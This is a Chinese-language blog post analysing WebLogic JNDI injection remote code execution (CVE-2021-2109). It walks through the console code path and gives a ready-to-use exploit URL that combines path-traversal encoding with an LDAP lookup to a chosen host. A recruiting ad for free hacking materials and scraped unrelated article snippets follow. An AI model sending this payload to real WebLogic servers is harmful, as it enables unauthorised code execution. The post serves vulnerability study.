草庐IT

WebLogic JNDI注入(CVE-2021-2109)

蚁景科技 2023-03-28 原文

0x01 前言

学习一下 WebLogic JNDI 注入 RCE(CVE-2021-2109)

0x02 环境搭建

和之前 WebLogic 的环境搭建是一致的,本文不再赘述。

不过值得一提的是,我的 weblogic 版本是 10.3.6;需要手动添加 \server\lib\consoleapp\webapp\WEB-INF\lib\console.jar 到依赖里面

0x03 漏洞分析与复现

漏洞影响版本与前提条件

Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0。

拥有访问 /console/consolejndi.portal 页面的用户权限,或者存在 CVE-2020-14883 未授权访问漏洞。关于未授权的漏洞我会放到 WebLogic 的另外一篇文章中再做分析

漏洞原理

WebLogic 的 /console/consolejndi.portal 接口可以调用存在 JNDI 注入漏洞的 com.bea.console.handles.JndiBindingHandle 类,从而造成 RCE。

漏洞复现

payload 如下

http://127.0.0.1:7001/console/css/%252e%252e%252fconsolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://127.0.0;1:1389/aew0xy;AdminServer%22)

我本地开启了一个 JNDI 的 Evil Class 和 Server

用 payload 打成功

漏洞分析

根据 payload 分析,先从 consolejndi.portal 开始看起,.portal 文件就类似于一个 servlet,在 consolejndi.portal 中存在 JNDI Binding 操作的处理容器,如图

具体的处理逻辑在 /PortalConfig/jndi/jndibinding.portlet

 

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

 

去到 com.bea.console.actions.jndi.JNDIBindingActioncom.bea.console.actions.jndi.JNDIBindingAction 类中,发现存在一个 execute() 方法,疑似存在 jndi 注入的漏洞。

观察需要如何构造恶意 payload,c 是由 ConsoleUtils.initNamingContext(serverMBean); 得来,而 serverMBean 是通过 domainMBean.lookupServer(serverName); 得来,其中一系列关系我将会由下图说明

接着我们自上而下顺序看代码,先是强转了一个 JndiBindingHandle 类,这里面 getHandleContext() 的逻辑并不复杂,最终会调用 JndiBindingHandle 的构造函数。

如图,我们在 payload 当中的这一段被放进了构造函的 type 与 objectIdentifier 中,而 "ldapxxxx" 这一段会被放在 components 中,由分号分隔

JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle("ldap://127.0.0;1:1389/aew0xy;AdminServer")

继续往下看,我们想要进入 JNDI 注入的那一段代码,需要满足两个条件,一个是 serverMBean != null,另一个是 c != null,我们进到 serverMBean 看一下代码逻辑

  • lookupServer 是 DommainMBean 接口的方法,我们去看它的实现类

实际上这里是动态代理调用的,会自动跟进到 weblogic.management.jmx.MBeanServerInvocationHandler#invoke 下,其中 method 的值为 weblogic.management.configuration.DomainMBean#lookupServer,它的 method 代码逻辑在实现类当中,也就是 weblogic.management.configuration.DomainMBeanImpl#lookupServer

我们需要走到 do while 的逻辑里面,返回 var3,而不是返回 null

通过调试得到 var2 的值为 AdminServer,这里没有其他的值了,原因如图

所以此处要求我们输入的 var1 与 AdminServer 相同,回过头去看 var1 是什么呢,var1 其实是 serverName

发现 serverName 也是可控的

现在 serverBean != null 没问题,就要看 jndi lookup 的地址是否可控。

很明显,jndi lookup 的地址也是可控的

我们进到 JndiBindingHandle 类去看一下 set/getComponents() 的逻辑,先调用了 HandleImpl#getComponent

跟进

主要逻辑就是在讲,以 ; 分隔,如此一来,我们就可控 context 与 binding,可以进行 jndi 注入

最后捋一下整体条件

1、;号隔开 jndi 地址2、serverName 必须为 AdminServer

0x04 漏洞修复

根据 Y4er 师傅这里的说法是,对 Jndi 的黑名单进行了判断,如图

0x05 小结

不算难的一个漏洞,只是环境搭建当时踩了很多坑,欢迎师傅们与我交流踩坑问题,我会竭力帮助。

更多靶场实验练习、网安学习资料,请点击这里>>

 

有关WebLogic JNDI注入(CVE-2021-2109)的更多相关文章

  1. Tomcat AJP 文件包含漏洞(CVE-2020-1938) - 2

    目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控

  2. ruby - 这个 ruby​​ 注入(inject)魔术是如何工作的? - 2

    我今天看到了一个ruby​​代码片段。[1,2,3,4,5,6,7].inject(:+)=>28[1,2,3,4,5,6,7].inject(:*)=>5040这里的注入(inject)和之前看到的完全不一样,比如[1,2,3,4,5,6,7].inject{|sum,x|sum+x}请解释一下它是如何工作的? 最佳答案 没有魔法,符号(方法)只是可能的参数之一。这是来自文档:#enum.inject(initial,sym)=>obj#enum.inject(sym)=>obj#enum.inject(initial){|mem

  3. ruby - 防止SQL注入(inject)/好的Ruby方法 - 2

    Ruby中防止SQL注入(inject)的好方法是什么? 最佳答案 直接使用ruby?使用准备好的语句:require'mysql'db=Mysql.new('localhost','user','password','database')statement=db.prepare"SELECT*FROMtableWHEREfield=?"statement.execute'value'statement.fetchstatement.close 关于ruby-防止SQL注入(inject

  4. Ruby:映射和注入(inject)之间的区别 - 2

    在此处阅读有关SO的各种解释,它们是这样描述的:map:Themapmethodtakesanenumerableobjectandablock,andrunstheblockforeachelement注入(inject):Injecttakesavalueandablock,anditrunsthatblockonceforeachelementofthelist.希望你明白为什么我觉得它们表面上看起来很相似。我什么时候会选择一个而不是另一个,它们之间有什么明显的区别吗? 最佳答案 如果您认为inject也别名为reduce,这

  5. ruby - 为什么 Ruby 注入(inject)方法不能对没有初始值的字符串长度求和? - 2

    为什么下面的代码会报错?['hello','stack','overflow'].inject{|memo,s|memo+s.length}TypeError:can'tconvertFixnumintoStringfrom(irb):2:in`+'from(irb):2:in`blockinirb_binding'from(irb):2:in`each'from(irb):2:in`inject'from(irb):2如果传递了初始值,它就可以正常工作:['hello','stack','overflow'].inject(0){|memo,s|memo+s.length}=>18

  6. ruby - 在 Ruby 中,为什么在注入(inject)/归约方法中将累加器称为 memo? - 2

    出于好奇,为什么在注入(inject)/归约方法中将累加器称为memo?它的命名背后有什么背景/历史吗?它实际上是指“备忘录”还是备忘录代表什么?http://ruby-doc.org/core-2.0/Enumerable.html#method-i-injecthttp://ruby-doc.org/core-2.0/Enumerable.html#method-i-reduce 最佳答案 “memo”表示在内存中,注入(inject)在整个迭代过程中使用来保存中间对象状态,以便在下一次迭代中使用它。

  7. ruby - Thor - 最后注入(inject)文件 - 2

    我正在开发一个Rails引擎,我正在尝试编写一个生成器来放置这条线do_stuff(foo)作为config/routes.rb中的最后一条语句,不破坏文件语法。具体来说,如果我的config/routes.rb目前看起来像这样Rails.application.routes.drawdoblahmoreblahend运行生成器后,我希望config/routes.rb看起来像这样Rails.application.routes.drawdoblahmoreblahdo_stuff(foo)#injectedlineend我看了看什么ActiveAdmindoes,但无法创建一揽子最后

  8. ruby - 注入(inject)双符号运算符 - 2

    我有一个注入(inject)电话[2,4,6].inject(true){|res,val|res&&val%2==0}并希望发送&&运算符以注入(inject)inject(0,:+)。我该怎么做? 最佳答案 你不能因为&&和||,与其他运算符不同,不是方法的语法糖(即没有称为&&或||的方法),因此您不能使用符号引用它们。但是您可以避免使用inject计算bool值数组的逻辑合取或析取,将其替换为all?或any?分别是因为对于任何数组都满足以下条件:ary.inject(true){|res,b|res&&b}==ary.al

  9. ruby - 如何获取注入(inject)循环的每个值 - 2

    我想获取inject的每个值。例如[1,2,3].inject(3){|sum,num|sum+num}返回9,我想获取循环的所有值。我尝试了[1,2,3].inject(3).map{|sum,num|sum+num},但没有成功。我写的代码是这样的,但是我觉得是多余的。a=[1,2,3]result=[]a.inject(3)do|sum,num|v=sum+numresult[4,6,9]有没有办法同时使用inject和map? 最佳答案 使用专用的Eumerator非常适合这里,但我会为此展示更通用的方法:[1,2,3].i

  10. 中国民用飞机制造行业市场现状规模及发展战略规划报告2021-2027年 - 2

    中国民用飞机制造行业市场现状规模及发展战略规划报告2021-2027年详情内容请咨询鸿晟信合研究院!【全新修订】:2022年2月【撰写单位】:鸿晟信合研究研究【报告目录】第1章:中国民用飞机制造行业发展综述1.1民用飞机制造行业概述1.1.1民用飞机的概念1.1.2飞机制造的概念1.1.3民用飞机的分类1.2民机制造行业周期特性1.2.1影响行业周期的因素(1)GDP增速分析(2)运量增量分析(3)飞机更替分析(4)航空公司获利水平1.2.2行业现阶段周期分析1.2.3行业现阶段景气分析1.3民机制造信息化分析1.3.1信息化技术应用状况分析(1)MDO技术应用分析(2)供应链协同研发分析(3

随机推荐